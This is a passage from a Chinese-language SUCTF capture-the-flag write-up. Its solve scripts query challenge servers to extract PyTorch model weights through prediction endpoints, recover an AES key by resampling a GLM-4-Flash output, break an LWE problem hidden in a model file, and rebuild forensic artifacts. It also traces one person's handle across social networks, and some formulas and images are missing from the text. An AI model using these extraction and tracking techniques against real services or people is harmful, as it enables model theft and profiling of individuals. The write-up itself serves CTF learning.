    for idx, hint in enumerate(hints, 1):
        print(f"{idx:02d}: {hint}")

if __name__ == "__main__":
    main()
  • 远端 hint 采样:tools/hint_probe.py
#!/usr/bin/env python3

import argparse
import re
import socket
import time
from collections import Counter

HINT_RE = re.compile(r"Here is your hint: (\d+)")

def recv_until_prompt(sock: socket.socket, timeout: float) -> str:
    sock.settimeout(0.5)
    start = time.time()
    data = b""
    while time.time() - start < timeout:
        try:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
            if data.endswith(b">>> "):
                break
        except socket.timeout:
            continue
    return data.decode("utf-8", "replace")

def collect_session(host: str, port: int, hints: int, init_timeout: float, step_timeout: float) -> list[int]:
    sock = socket.create_connection((host, port), timeout=10)
    try:
        recv_until_prompt(sock, init_timeout)
        out = []
        for _ in range(hints):
            sock.sendall(b"2\n")
            text = recv_until_prompt(sock, step_timeout)
            match = HINT_RE.search(text)
            if not match:
                raise RuntimeError(f"failed to parse hint from: {text!r}")
            out.append(int(match.group(1)))
        sock.sendall(b"3\n")
        return out
    finally:
        sock.close()

def main() -> None:
    parser = argparse.ArgumentParser(description="Collect and cluster SU_Lattice hint sessions.")
    parser.add_argument("--host", default="1.95.152.117")
    parser.add_argument("--port", type=int, required=True)
    parser.add_argument("--sessions", type=int, default=4)
    parser.add_argument("--hints", type=int, default=8)
    parser.add_argument("--prefix", type=int, default=2, help="Cluster sessions by the first N hints.")
    parser.add_argument("--init-timeout", type=float, default=30.0)
    parser.add_argument("--step-timeout", type=float, default=10.0)
    args = parser.parse_args()

    sessions = []
    for idx in range(args.sessions):
        seq = collect_session(
            host=args.host,
            port=args.port,
            hints=args.hints,
            init_timeout=args.init_timeout,
            step_timeout=args.step_timeout,
        )
        sessions.append(seq)
        print(f"session {idx}: {seq}")

    counts = Counter(tuple(seq[: args.prefix]) for seq in sessions)
    print("\nprefix clusters:")
    for prefix, count in counts.most_common():
        print(f"{prefix}: {count}")

if __name__ == "__main__":
    main()

AI

SU_easyLLM

访问题目地址会拿到一段 JSON:

{
  "algo": "AES-128-CBC",
  "iv_b64": "...",
  "ciphertext_b64": "...",
  "key_derivation": "key = SHA256(LLM_output)[:16]",
  "llm": {
    "provider": "z.ai",
    "model": "GLM-4-Flash",
    "temperature": 0.28,
    "system_prompt": "You are a password generator.\nOutput ONE password only.\nFormat strictly: pw-xxxxxxxx where x are letters.\nNo explanation, no quotes, no punctuation.",
    "user_prompt": "Generate the password now."
  }
}

题意很明确:

  1. 调用一次 GLM-4-Flash
  2. 得到模型输出 LLM_output
  3. 计算 SHA256(LLM_output)[:16]
  4. 作为 AES-128-CBC 的密钥去解密密文

所以只要复现出服务端当时拿到的模型输出,就能解出 flag。

先请求题目地址,拿到 iv_b64ciphertext_b64 和模型提示词。

然后题目指定模型是 GLM-4-Flash,在官网申请一个api调用这个免费模型,直接使用旧接口调用:

POST https://open.bigmodel.cn/api/paas/v4/chat/completions

请求参数:

{
  "model": "glm-4-flash",
  "messages": [
    {
      "role": "system",
      "content": "You are a password generator.\nOutput ONE password only.\nFormat strictly: pw-xxxxxxxx where x are letters.\nNo explanation, no quotes, no punctuation."
    },
    {
      "role": "user",
      "content": "Generate the password now."
    }
  ],
  "temperature": 0.28,
  "stream": false
}

不断采样模型输出,把每次返回的内容都作为候选密码。

对每个候选密码执行:

key = hashlib.sha256(candidate.encode()).digest()[:16]

然后用题目给出的 IV 和密文做 AES-CBC 解密:

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)

最后检查 PKCS#7 padding 是否正确,并判断明文里是否出现 SUCTF

最终密码得到是(不唯一):

pw-Abcde1f

用这个字符串派生 key 后成功解密,得到:

SUCTF{LLM_w1ll_ch4nge_ev3rything}

exp:

import base64
import hashlib
import json
import urllib.request
from Crypto.Cipher import AES

with urllib.request.urlopen("http://101.245.107.149:10013/") as resp:
    ch = json.loads(resp.read().decode())

iv = base64.b64decode(ch["iv_b64"])
ct = base64.b64decode(ch["ciphertext_b64"])

candidate = "pw-Abcde1f"
key = hashlib.sha256(candidate.encode()).digest()[:16]
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)

pad = pt[-1]
plaintext = pt[:-pad].decode()
print(plaintext)
#SUCTF{LLM_w1ll_ch4nge_ev3rything}

SU_谁是小偷

题目给了多份互相冲突的信息,关键是按题面和 PDF 所说,优先相信“可重复验证的行为”。

上午的 app.py 和本题 app.py 都是烟雾弹,真正可信的是:

  • /flag 报错能直接泄露远端加载的参数名和形状
  • /predict 的输入输出行为能泄露主路径结构

model_base.pth 直接提交到 /flag,会得到类似报错:

Unexpected key(s) in state_dict: "conv1.weight", "conv1.bias".
size mismatch for conv.weight: ... [1,1,3,3] -> [1,1,4,4]

这一步可以确定:

  • 远端主路径只有两层:convlinear
  • conv.weight 的形状是 1x1x4x4
  • linear 仍然接收长度 256 的一维输入

再对 /predict 做形状探测:

  • 输入 19x19 时正常返回 256 维输出
  • 输入 16x16 时会报 mat1 and mat2 shapes cannot be multiplied (1x169 and 256x256)

因为 19 - 4 + 1 = 16,所以主路径就是:

Input(1x1x19x19) -> Conv2d(1,1,4x4,stride=1,padding=0) -> Flatten(256) -> Linear(256,256)

这和 PDF 中的 Input -> Stage-A -> Flatten(256) -> Head 完全一致。

整个网络没有激活函数,本质上是线性的。

记远端模型为:

y = F(x)

对零输入查询一次得到偏置项:

y0 = F(0)

再对 19x19 的每个像素基底 e_{i,j} 单独查询:

F(e_{i,j}) - F(0)

这样就能得到一个完整的线性映射矩阵:

M ∈ R^(256 x 361)

其中 361 = 19 * 19

如果前半段真的是单层 4x4 卷积,那么它的输出空间维度最多是 256,因此 M 的右零空间维度应为:

361 - 256 = 105

实测 rank(M) = 256,完全符合。

M 做 SVD,取右零空间基底。

对于零空间中的任意一个 19x19 向量 n,都满足它的所有 4x4 滑窗与真实卷积核 k 正交。

于是把所有零空间向量的所有 4x4 patch 堆起来,再做一次 SVD,最小奇异值对应的向量就是卷积核。恢复得到 primitive kernel:

K =
[[ 6, 10, -1,  4],
 [-6,  1, -8, -8],
 [-9,  7, -6,  4],
 [ 5, -6, -8,  6]]

已知卷积核后,可以显式写出卷积矩阵 T(K)

vec(conv_K(x)) = T(K) · vec(x)

于是有:

M = W · T(K)

其中 W 就是线性层权重。

直接计算:

W = M · pinv(T(K))

四舍五入后得到整数矩阵,重构误差约为 1e-5,说明恢复正确。

这里有一个天然等价变换:

K -> sK
W -> W/s

整体函数不变。

真正能过 /flag`` 的,不是 (+K, +W)` 这一支,而是整体取反后的那一支:

conv.weight = -K
linear.weight = -W
conv.bias = 4
linear.bias = y0 - 4 * ((-W) · 1)

也就是:

  • conv.weight = -K
  • conv.bias = 4
  • linear.weight = -W
  • linear.bias 由零输入响应精确反推

提交后即可拿到 flag。

exp:

import base64
import io
import time
from itertools import product

import requests
import torch

URL = "http://1.95.113.59:10002"

def query(img):
    data = {"image": img.tolist()}
    for _ in range(8):
        try:
            r = requests.post(URL + "/predict", json=data, timeout=30)
            if r.status_code == 200:
                return torch.tensor(r.json()["prediction"], dtype=torch.double)
        except Exception:
            pass
        time.sleep(0.3)
    raise RuntimeError("predict failed")

def submit(sd):
    buf = io.BytesIO()
    torch.save(sd, buf)
    payload = {"model": base64.b64encode(buf.getvalue()).decode()}
    r = requests.post(URL + "/flag", json=payload, timeout=30)
    print(r.text)

def recover_linear_map():
    zero = torch.zeros((1, 1, 19, 19), dtype=torch.double)
    y0 = query(zero)
    cols = []
    for i, (x, y) in enumerate(product(range(19), repeat=2), 1):
        img = torch.zeros((1, 1, 19, 19), dtype=torch.double)
        img[0, 0, x, y] = 1
        cols.append(query(img) - y0)
        if i % 40 == 0:
            print(i, "/ 361")
    return y0, torch.stack(cols, dim=1)

def recover_kernel(M):
    _, _, vh = torch.linalg.svd(M)
    null_basis = vh[256:]

    rows = []
    for v in null_basis:
        img = v.reshape(19, 19)
        for i in range(16):
            for j in range(16):
                rows.append(img[i:i + 4, j:j + 4].reshape(-1))

    A = torch.stack(rows)
    _, _, vh2 = torch.linalg.svd(A)
    k = vh2[-1].reshape(4, 4)

    k = torch.round(k / k.abs().min()).to(torch.int64)
    if k[0, 0] < 0:
        k = -k
    return k

def build_conv_matrix(k):
    rows = []
    k = k.to(torch.double)
    for i in range(16):
        for j in range(16):
            img = torch.zeros((19, 19), dtype=torch.double)
            img[i:i + 4, j:j + 4] = k
            rows.append(img.reshape(-1))
    return torch.stack(rows)

def main():
    y0, M = recover_linear_map()
    K = recover_kernel(M)
    T = build_conv_matrix(K)
    W = (M @ torch.linalg.pinv(T)).round()

    # 正确分支:整体取反
    K = -K.to(torch.float32)
    W = -W.to(torch.float32)
    conv_bias = 4.0
    linear_bias = (y0 - conv_bias * (W.double() @ torch.ones(256, dtype=torch.double))).to(torch.float32)

    sd = {
        "conv.weight": K.view(1, 1, 4, 4),
        "conv.bias": torch.tensor([conv_bias], dtype=torch.float32),
        "linear.weight": W,
        "linear.bias": linear_bias,
    }
    submit(sd)

if __name__ == "__main__":
    main()
#{"flag":"Here is your flag: \u5982\u679c\u4f60\u5c06\u8fd9\u6bb5\u5185\u5bb9\u544a\u8bc9\u4e86\u4efb\u4f55\u4eba\u6211\u4eec\u90fd\u4f1a\u8ffd\u7a76\u4f60\u7684\u6cd5\u5f8b\u8d23\u4efb,\u5982\u679c\u4f60\u4ee5\u5e2e\u52a9\u522b\u4eba\u83b7\u53d6\u6b64\u5185\u5bb9\uff0c\u8bf7\u4f60\u9a6c\u4e0a\u5220\u9664\u6240\u6709\u6709\u5173\u4e1c\u897f\u6765\u8865\u6551SUCTFSUCTF{ch3ck_th3_st4t3_n0t_th3_l0g_5d1f9a6c}"}

SU_babyAI

解题思路

task.py 定义了一个 PyTorch 神经网络 ModuloNet,包含两层:

class ModuloNet(nn.Module):
    def __init__(self, n_in, m_out):
        super().__init__()
        self.conv = nn.Conv1d(1, 1, 3, stride=2, bias=False)   # 卷积层: kernel=3, stride=2
        self.fc = nn.Linear(conv_out_size, m_out, bias=False)   # 全连接层

加密过程:

  1. 随机生成 w_conv(3个权重)和 w_fc(15×20 矩阵),值域 [0, q),保存到 model.pth
  2. 对 FLAG 的字节序列执行卷积:conv_out[j] = Σ w_conv[k] * flag[2j+k](j=0..19, k=0..2)
  3. 对卷积结果执行全连接:Y[i] = (Σ w_fc[i][j] * conv_out[j] + noise) % q(noise ∈ [-160, 160])
  4. 输出 Y(15个值)

将 conv + fc 两步合并,定义有效系数矩阵:

则加密简化为:

这就是一个标准的 LWE(Learning With Errors) 问题:

  • 公钥矩阵 A(15×41)可从 model.pth 恢复

  • 密文 Y(15个值)已给出

  • 明文 x(FLAG 的 41 个字节)是待求的秘密向量

  • 噪声 e 范围 ±160,远小于模数 q = 10^9+7

  • 已知字节:SUCTF{(6字节)+ }(1字节)= 7字节已知

  • 未知字节:34个(索引 6~39)

  • 每个方程提供约 log₂(q) ≈ 30 bits 信息

  • 总信息量:15 × 30 ≈ 450 bits

  • 所需信息量:34 × ~7 ≈ 238 bits(可打印ASCII每字节约7 bits熵)

  • 450 >> 238,信息充足,解唯一

解题步骤

  1. 用 PyTorch 加载 model.pth,提取 w_conv(3个值)和 w_fc(15×20矩阵)。
  2. 将 Conv1d + Linear 合并为 A(15×41),然后代入已知字节 SUCTF{} 消去对应列,得到缩减系统:

​ 其中 A’ 为 15×34 矩阵,x_j 为 34 个未知字节。

  1. 将未知字节以 79(可打印ASCII中点)为中心居中:令 s[j] = x[j] - 79,则 |s[j]| ≤ 47

  1. 构造 50×50 的格基矩阵 B(行约定):
B = [ q·I₁₅    |   0₁₅ₓ₃₄  |  0  ]   ← 15行:模约减
    [ A'ᵀ      |   I₃₄     |  0  ]   ← 34行:系数嵌入
    [ Y''      |   0        |  C  ]   ← 1行:目标嵌入 (C=1)

目标短向量形式为 **(e₁,…,e₁₅, -s₁,…,-s₃₄, C)**,其范数约为:

Gaussian heuristic 估计 λ₁ ≈ 857,目标向量范数远小于此,LLL 可直接找到。

对 B 执行 LLL 算法,在规约后的格基中找到末尾分量为 ±1 的行,提取噪声和秘密向量,恢复 FLAG。

Exp:

# sage exp.sage
import json, subprocess, os

# ===== Extract weights from model.pth =====
extract_code = '''
import torch, json
state_dict = torch.load("model.pth", map_location="cpu", weights_only=True)
w_conv = state_dict["conv.weight"].squeeze().long().tolist()
w_fc   = state_dict["fc.weight"].long().tolist()
json.dump({"w_conv": w_conv, "w_fc": w_fc}, open("weights.json","w"))
'''
with open("_extract.py", "w") as f:
    f.write(extract_code)
for cmd in ["conda run -n CTF python _extract.py", "python _extract.py"]:
    if os.system(cmd) == 0: break
with open("weights.json") as f:
    data = json.load(f)
os.remove("_extract.py")

w_conv = data["w_conv"]
w_fc   = data["w_fc"]

# ===== Parameters =====
q = 1000000007
n_flag, m, conv_out_size = 41, 15, 20
Y = [776038603,454677179,277026269,279042526,78728856,
     784454706,29243312,291698200,137468500,236943731,
     733036662,421311403,340527174,804823668,379367062]
known = {0:83, 1:85, 2:67, 3:84, 4:70, 5:123, 40:125}

# ===== Build A[i][t] = sum_{2j+k=t} w_fc[i][j]*w_conv[k] mod q =====
A = [[0]*n_flag for _ in range(m)]
for i in range(m):
    for j in range(conv_out_size):
        for k in range(3):
            t = 2*j + k
            if t < n_flag:
                A[i][t] = (A[i][t] + w_fc[i][j] * w_conv[k]) % q

# ===== Reduce system: substitute known bytes =====
Y_prime = list(Y)
for i in range(m):
    for t, val in known.items():
        Y_prime[i] = (Y_prime[i] - A[i][t] * val) % q

unknown_idx = [t for t in range(n_flag) if t not in known]
n_unk = len(unknown_idx)
A_prime = [[A[i][t] for t in unknown_idx] for i in range(m)]

center = 79
Y_centered = [(Y_prime[i] - sum(A_prime[i][j]*center for j in range(n_unk))) % q for i in range(m)]

# ===== Kannan embedding lattice (50x50) =====
d = m + n_unk + 1
B = matrix(ZZ, d, d)
for i in range(m):
    B[i, i] = q
for j in range(n_unk):
    for i in range(m):
        B[m+j, i] = A_prime[i][j]
    B[m+j, m+j] = 1
for i in range(m):
    B[m+n_unk, i] = Y_centered[i]
B[m+n_unk, m+n_unk] = 1

# ===== LLL and recover flag =====
L = B.LLL()
for row in L:
    last = row[-1]
    if last == 0: continue
    if last < 0: row = -row; last = -last
    if last != 1: continue
    e_vals = [int(row[i]) for i in range(m)]
    x_vals = [center - int(row[m+j]) for j in range(n_unk)]
    if all(abs(e)<=160 for e in e_vals) and all(32<=x<=126 for x in x_vals):
        flag_bytes = [0]*n_flag
        for t,v in known.items(): flag_bytes[t] = v
        for idx,t in enumerate(unknown_idx): flag_bytes[t] = x_vals[idx]
        print(f"FLAG: {bytes(flag_bytes).decode()}")
        break

得到SUCTF{PyT0rch_m0del_c4n_h1d3_LWE_pr0bl3m}

SU_theif

1. 题目概览

  • 题目名称: SU_theif
  • 题目类型: AI Security / Model Extraction
  • 附件:
    • app.py: 服务端源码,基于 Flask 和 PyTorch。
    • model_base.pth: 一个基础模型权重文件。

2. 题目分析

2.1 服务端逻辑审计

通过分析 app.py,我们可以梳理出服务端的关键逻辑:

  1. 模型定义: 定义了一个名为 Net 的神经网络类。
  2. 模型加载: 服务端加载了一个 model.pth(未提供),这是我们要窃取的目标。同时,题目提供了 model_base.pth,这通常暗示目标模型是在此基础上微调或修改得到的。
  3. 预测接口 (/predict):
    • 接受用户上传的图像数据。
    • 将图像输入模型,返回模型的输出(Logits)。
    • 关键点: 这是一个典型的 Oracle(预言机),我们可以通过输入任意数据来探测模型的行为。
  4. Flag 接口 (/flag):
    • 接受用户上传的一个模型文件。
    • 服务端会将上传的模型与运行中的 model 进行逐层参数比对。
    • 判定标准:
      • 权重 (weight) 差异绝对值
      • 偏置 (bias) 差异绝对值
    • 如果校验通过,返回 Flag。

2.2 模型架构分析

class Net(nn.Module):
    def __init__(self):
        super(Net, self).__init__()
        self.linear = nn.Linear(256, 256)
        self.conv = nn.Conv2d(1, 1, (3, 3), stride=1)
        self.conv1 = nn.Conv2d(1, 1, (2, 2), stride=2)

    def forward(self, x):
        x = nn.functional.pad(x, (2, 0, 2, 0), mode='constant', value=0)
        x = self.conv(x)
        x = self.conv1(x)
        x = x.view(-1)
        x = self.linear(x)
        return x

仔细观察 forward 函数,我们可以发现一个致命的弱点:模型中不存在任何非线性激活函数(如 ReLU, Sigmoid, Tanh 等)。

这意味着整个神经网络,无论有多少层,本质上都只是多个线性变换的叠加。数学上,多个线性变换的组合仍然是一个线性变换。

3. 攻击原理 (Model Extraction)

3.1 线性系统的参数求解

由于模型是线性的,输入 和输出 之间的关系可以表示为:

然而,题目要求我们恢复每一层的具体参数,而不仅仅是总的等效变换。这就需要利用题目提供的额外信息:model_base.pth

假设: 服务端模型的前几层(卷积层)参数没有改变,仍然与 model_base.pth 一致,只有最后一层(全连接层 linear)的参数发生了变化(例如被重新训练过)。

基于这个假设,我们可以采用已知明文攻击的思路:

  1. 特征提取 (本地):

利用本地的 model_base.pth 中的卷积层,对输入图像 进行计算,得到中间特征向量

  1. 由于假设卷积层参数已知且固定,这个 就是全连接层的真实输入。
  2. 黑盒查询 (远程):

将同样的图像 发送给远程服务器,获取模型的最终输出

  1. 构建方程组:

现在我们有了输入 和输出 ,以及它们之间的线性关系

其中:

对于输出向量 的每一个分量 ,都有:

这对于所有 都是独立的线性方程。

- $ Z $ 是一个 $ 256 $ 维的向量。
- $ Y $ 是一个 $ 256 $ 维的向量。
- $ W $ 是 $ 256 \times 256 $ 的权重矩阵(未知)。
- $ b $ 是 $ 256 $ 维的偏置向量(未知)。

3.2 最小二乘法 (Least Squares)

为了求解 ,我们需要构建线性方程组。

我们将 合并为一个未知参数矩阵 ,将输入 扩展一项 (用于处理偏置 )。

对于 个样本,我们可以写成矩阵形式:

其中:

  • 是将 个样本的特征向量 堆叠,并在每行末尾追加一个 得到的矩阵。

根据线性代数理论,只要样本数量 且样本线性无关,我们就可以通过最小二乘法求解

在 Python 的 numpy 库中,np.linalg.lstsq 函数可以直接高效地求解此类问题,它会自动处理矩阵求逆和数值稳定性问题。

4. 解题步骤详解

步骤 1: 数据收集

我们需要收集大量的输入输出对。为了保证方程组有解且抵抗网络/数值噪声,我们收集了 2000 个样本(远大于理论最小值的 257 个)。

  1. 随机生成 2000 张 的噪声图片。
  2. 本地计算: 使用 model_base.pth 的卷积层计算这些图片的特征向量
  3. 远程查询: 将这些图片发送给 /predict 接口,获得目标输出

步骤 2: 求解参数

使用 numpy.linalg.lstsq 求解

# 构造增广矩阵 [Z, 1]
Z_aug = np.hstack([Z, np.ones((N, 1))])

# 求解
W_full, residuals, rank, s = np.linalg.lstsq(Z_aug, Y, rcond=None)

# 拆分结果
W_rec = W_full[:256, :].T  # 前 256 列是权重
b_rec = W_full[256, :]     # 最后一列是偏置

步骤 3: 结果分析与微调 (遇到的坑)

在得到 后,我们通过打印数值发现了一些规律:

  1. **权重 **: 数值非常接近整数(例如 5.00001, -3.99999)。这说明原始权重很可能是整数。我们对其进行了 np.round() 取整操作。
  2. **偏置 **: 数值看起来是杂乱的浮点数(例如 1.503…)。
    • 尝试 1: 以为偏置也是整数,尝试取整 -> 失败(误差过大)。
    • 尝试 2: 怀疑是卷积层的偏置变了导致全连接层的输入发生了平移。尝试遍历卷积层偏置的整数偏移量 -> 失败
    • 最终结论: 实际上服务端的全连接层偏置就是一个浮点数。题目中的校验阈值 0.005 相对较大,足以容忍浮点数计算带来的微小误差。因此,直接使用求解出的浮点数 即可。

步骤 4: 构造并提交模型

  1. 加载 model_base.pth
  2. 保持卷积层参数不变。
  3. linear 层的权重更新为取整后的
  4. linear 层的偏置更新为原始浮点数
  5. 保存模型,Base64 编码,上传至 /flag 接口。

5. 核心代码

import torch
import torch.nn as nn
import requests
import base64
import numpy as np
import concurrent.futures
import io

# 定义与服务端一致的模型结构
class Net(nn.Module):
    def __init__(self):
        super(Net, self).__init__()
        self.linear = nn.Linear(256, 256)
        self.conv = nn.Conv2d(1, 1, (3, 3), stride=1)
        self.conv1 = nn.Conv2d(1, 1, (2, 2), stride=2)

    def forward_features(self, x):
        # 仅前向传播卷积层,提取特征 Z
        x = nn.functional.pad(x, (2, 0, 2, 0), mode='constant', value=0)
        x = self.conv(x)
        x = self.conv1(x)
        x = x.view(-1)
        return x

# 1. 准备工作
local_model = Net()
local_model.load_state_dict(torch.load('model_base.pth', map_location='cpu'))

# 2. 并发收集数据 (Z, Y)
# ... (省略网络请求代码) ...
# 收集到 Z_list (本地计算特征) 和 Y_list (远程预测结果)

Z = np.array(Z_list)
Y = np.array(Y_list)

# 3. 最小二乘法求解
N = Z.shape[0]
Z_aug = np.hstack([Z, np.ones((N, 1))]) # 构造增广矩阵
W_full, _, _, _ = np.linalg.lstsq(Z_aug, Y, rcond=None)

W_rec = W_full[:256, :].T
b_rec = W_full[256, :]

# 4. 参数处理
# 观察发现权重接近整数,偏置为浮点数
W_final = np.round(W_rec)
b_final = b_rec

# 5. 更新模型并提交
local_model.linear.weight.data = torch.tensor(W_final, dtype=torch.float32)
local_model.linear.bias.data = torch.tensor(b_final, dtype=torch.float32)

buffer = io.BytesIO()
torch.save(local_model.state_dict(), buffer)
encoded_model = base64.b64encode(buffer.getvalue()).decode('utf-8')

# 发送请求获取 Flag
# ...

得到

Flag: SUCTF{n0t_4ll_h1st0ry_t3lls_th3_truth_6a4e2b8d}

MISC

SUCTF-cyberhack

97a9ec5ecd273029a644221aa9aaaf64

f4b909cbf29f9079c4da6c57d4db5106

d0f819e2ddfc8d4be7fa4d6edb3bc127

e754fce2c6e0439bfb82cc1464091fcd

f1608bb998396cc9a0e8778f57a5195f

以上信息可以确定mnzn233为字符串关键人物,然后联系mc 找到了皮肤站可以看到他的一些过往id。使用过往id在一些知名的国外社交网站进行检索

27878c63fe48ab402c112c9fe5f9cd83

discord里就是flag的字符串所在

QQ_1773657228778

名字由来

SU_Signin

访问 https://ctftime.org/team/29641 就给

SU_forensics

题目概述

题目给了一份 abc.ad1 逻辑镜像,需要从镜像中的系统、Notepad、uTools、CherryStudio、Ollama 等痕迹里恢复 7 个问题的答案,最后再按题目要求拼接并计算 flag。

这题的核心不是单点爆破,而是把多类取证痕迹串成一条时间线:

  1. 用系统注册表确定设备关机时间。
  2. 用 Windows 11 Notepad 的 TabState/WindowState 恢复被编辑又删除的提示文本。
  3. 用 uTools 剪贴板历史恢复落盘过的密钥片段和提示语。
  4. 用 CherryStudio / Ollama 对话记录恢复“AI 生成片段”和相关时间。
  5. 结合题面规则 1-4-3-2 重组完整密钥。
  6. 最后按 SUCTF{MD5(Q1_Q2_Q3_Q4_Q5_Q6_Q7)} 生成 flag。

最终答案

题号 最终答案
Q1 2026/03/05T17:23:06
Q2 c1c4c50f51afc97a58385457af43e169
Q3 zQt$d3!GIS9l.aR@7ELN
Q4 019cbe60-6803-70fe-8ab5-e0035399980f_2026/03/05T22:25:24
Q5 zQt$d3!GIS9l.aR@7ELNA9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z17727207244dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789
Q6 2026/03/05T21:58:17
Q7 40854344-3f6e-4464-a07f-b39d42f5adc5
Flag SUCTF{39e850db5d740c54df4281e39fb3866d}

总体思路

1. 先找“规则”

这题最重要的规则不是在聊天记录里,而是在本地文本与剪贴板痕迹中:

  • Notepad 删除文本里有四条规则:
    • key 不能完整落盘
    • key 有四段
    • 使用顺序是 1-4-3-2
    • 有一段是 AI 生成
  • uTools 剪贴板里还有一句直接提示:
    • 第三密钥为第二密钥生成时间的时间戳

这两条规则一结合,Q5 基本就从“找字符串”变成了“按规则组装”。

2. 优先取“直接证据”

能直接命中的就直接命中:

  • Q1 看注册表
  • Q2 看 Notepad TabState
  • Q3 / Q4 / Q5 / Q7 看 uTools、CherryStudio、Ollama
  • Q6 看 app.log

3. 对有歧义的题,用别的题反推

这题最大的坑是 Q3/Q4/Q5 会互相影响:

  • 一开始很容易把 EkXVEW... 误判成第一密钥
  • Q4 也有 created_at=22:21:57updated_at=22:25:24 两种口径
  • 第三密钥一开始也很容易误判成 uTools 里复制过的 1772702254350

真正解开的方法是交叉验证:

  • Q3 用 uTools 剪贴板里的明文修正
  • Q4 用 Q5 中“第三密钥是时间戳”反推应取生成完成时间
  • Q5 用 1-4-3-2 规则和单题验证站逐步收敛

关键证据路径

系统与注册表

  • extracted/SYSTEM
  • extracted/SYSTEM.LOG1
  • extracted/SYSTEM.LOG2

Notepad

  • extracted/notepad_results/WindowStateTabs.csv
  • extracted/notepad_results/NoFileTabs.csv
  • extracted/notepad_results/992ff4a3-c3e9-401e-9320-82ddc5fa9d31-UnsavedBufferChunks.csv

uTools

  • extracted/utools_clip_1772542010301/data.decrypted.json
  • extracted/utools_clip_1772700955558/data.decrypted.json
  • extracted/utools_clip_1772701170720/data.decrypted.json
  • extracted/utools_extract/data.decrypted.json

CherryStudio

  • extracted/cherry/indexeddb_parsed_clean.json

Ollama

  • extracted/ollama/ollama_chats.json
  • extracted/ollama/chat_index.txt
  • extracted/ollama/app.log
  • extracted/key_like_strings.txt

逐题分析

Q1 设备上次关闭时间

原理

Windows 关机时间可以直接从 SYSTEM 注册表里的:

  • HKLM\SYSTEM\Select\Current
  • HKLM\SYSTEM\ControlSet00X\Control\Windows\ShutdownTime

离线解析 hive 后,把 UTC 转为本地时区 UTC+8 即可。

结论

  • 原始 UTC:2026/03/05T09:23:06
  • 转换 UTC+8:2026/03/05T17:23:06

所以:

Q1 = 2026/03/05T17:23:06

Q2 记事本中删除的内容 MD5

原理

Windows 11 Notepad 的无文件标签页会把状态保存在 TabState/WindowState 里,未保存文本的编辑轨迹可以从 UnsavedBufferChunks 重放出来。

先看活动标签:

  • WindowStateTabs.csv 显示当前活动 tab 是 992ff4a3-c3e9-401e-9320-82ddc5fa9d31
  • NoFileTabs.csv 显示这个 tab 初始残留内容是 Key in

再看编辑日志:

  • 992ff4a3-c3e9-401e-9320-82ddc5fa9d31-UnsavedBufferChunks.csv

这个 CSV 记录了逐字符插入/删除。把它正向重放后,可以恢复出完整规则文本以及后续删除过程。

恢复出的关键规则

从 Notepad / uTools 两侧都能对上如下规则:

Key instructions:
1.Key must not be entirely stored on disk
2.The key has four parts
3.The key requires reshuffling order:1-4-3-2
4.There is a Key generted by AI

这里注意题目问的是“删除的内容的 MD5”,所以不是只看最后屏幕上剩什么,而是要看被删掉的那段文本本体。

正确口径

最终验证通过的是“最大连续删除段”的 UTF-8 MD5,也就是:

Key instructions:\r
1.Key must not be entirely stored on disk\r
2.The key has four parts\r
3.The key requires reshuffling order:1-4-3-2\r
4.There is a Key generted by AI\r
complete

对应 MD5:

c1c4c50f51afc97a58385457af43e169

所以:

Q2 = c1c4c50f51afc97a58385457af43e169

Q3 第一密钥

误区

最开始把 Ollama 里的:

EkXVEWLQgMIo1oRWqmc_CsV49shNaRKN-4yVJhfgIQY=

当成第一密钥,因为它看起来像标准 URL-safe Base64 随机串,而且它同时出现在:

  • extracted/ollama/ollama_chats.json
  • extracted/utools_clip_1772701170720/data.decrypted.json

但它最终不能通过验证站,因此只是一个强干扰项。

正确证据

题目给了 hint:“第一密钥请关注 utools”。

重新翻 uTools 剪贴板历史后,在以下文件里都能直接看到第一密钥明文:

  • extracted/utools_clip_1772700955558/data.decrypted.json
  • extracted/utools_extract/data.decrypted.json

关键条目:

idx 33
timestamp 1772702838000
value zQt$d3!GIS9l.aR@7ELN

所以:

Q3 = zQt$d3!GIS9l.aR@7ELN

Q4 第二密钥对应的对话 id 和时间

原理

第二密钥来自 Ollama,而不是 CherryStudio 的解释性聊天。

在:

  • extracted/ollama/ollama_chats.json

里可以看到聊天:

chat_id = 019cbe60-6803-70fe-8ab5-e0035399980f
title   = 第二密钥生成尝试

其中:

  • user 108:让本地模型给出 openssl rand -base64 32 | tr '+/' '-_' | tr -d '=' 的示例
  • assistant 109:给出示例字符串
  • user 110:明确回复“那我用这个吧”

assistant 109 的关键字段是:

  • created_at = 2026-03-05 22:21:57.3893313+08:00
  • updated_at = 2026-03-05 22:25:24.2129715+08:00

assistant 给出的示例字符串是:

4dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789

为什么时间要取 22:25:24

这是这题最容易错的点。

如果只看“消息创建”,会写成:

019cbe60-6803-70fe-8ab5-e0035399980f_2026/03/05T22:21:57

但 Q5 的第三密钥提示是:

第三密钥为第二密钥生成时间的时间戳

最终验证通过的第三密钥是:

1772720724

2026-03-05 22:25:24 +08:00 转成 Unix 时间戳,正好就是:

1772720724

这说明“第二密钥生成时间”应当取 assistant 输出完成后的时间,即 updated_at,不是 created_at

所以:

Q4 = 019cbe60-6803-70fe-8ab5-e0035399980f_2026/03/05T22:25:24

Q5 最终完整密钥

原理

Notepad 规则已经明确说了:

1. key 不能完整落盘
2. key 有四段
3. 顺序是 1-4-3-2
4. 有一段由 AI 生成

所以 Q5 的本质是找到四段,再按 1-4-3-2 拼接。

第 1 段

来自 Q3,uTools 剪贴板直接命中:

zQt$d3!GIS9l.aR@7ELN

第 2 段

来自 Ollama assistant 109

4dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789

这是“AI 生成段”,也符合题面“有一段由 AI 生成”的规则。

第 3 段

uTools 剪贴板里有直接提示:

第三密钥为第二密钥生成时间的时间戳

而 Q4 已经确定第二密钥的生成完成时间是:

2026/03/05T22:25:24 (UTC+8)

转 Unix 时间戳:

1772720724

所以第三段是:

1772720724

第 4 段

这段同样来自 uTools 剪贴板,而且是直接明文:

  • extracted/utools_clip_1772542010301/data.decrypted.json
  • extracted/utools_clip_1772700955558/data.decrypted.json

都能看到:

A9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z

这段在旧剪贴板里反复出现,是非常稳定的直接证据。

